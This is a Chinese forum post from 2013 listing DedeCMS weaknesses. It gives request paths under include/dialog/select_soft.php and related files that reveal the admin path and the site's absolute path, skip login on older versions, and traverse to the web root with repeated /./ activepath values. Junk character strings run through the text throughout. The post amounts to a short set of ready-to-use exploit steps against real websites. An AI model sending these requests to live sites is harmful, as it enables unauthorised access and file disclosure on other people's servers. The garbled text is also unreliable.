1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理* I. O. t* V# A; X$ M3 A' X2 C0 l! E
6 H6 K, w/ ^5 i" F
员帐号,新版本的就直接转向了后台.$ K9 g" j. V& v! g& H$ f9 Z+ |3 ^
4 L$ w5 \6 R2 R: y2.include/dialog/config.php会爆出后台管理路径
* y, ?$ I8 l8 F: j3 U! a" f! h! k" F! N
3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录
. x' @- E8 h. D' c
/ J2 L7 D7 t! `% k s" n" F: Y+ U4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径.$ h: @& B' A' n( U. K. X
( e3 i. F0 J2 v" [5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉1 x P+ ?0 n; L& c
, X! [9 l- l+ ~; g( P# K( R
到根目录去.不过这些版本的访问地址有些不同.! q+ t8 k( S5 O4 T2 s& {
地址为require/dialog/select_soft.php?activepath=/././././././././
. Z7 M7 y. R( v6 L: L7 g4 p& \1 }% E$ `) Q7 l
include\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦..
% o, n. o- p4 S: C, v: N2 F存在相同问题的文件还有* R2 q0 C# }: `0 ~! k) V4 v1 J
include\dialog\select_images.php( \0 }) m& m+ Z2 E
include\dialog\select_media.php
* c$ }! g3 y) y5 [include\dialog\select_templets.php5 e( a" R+ a: x7 r% Z
|
发表于 2013-4-16 16:50:43
收藏
支持
反对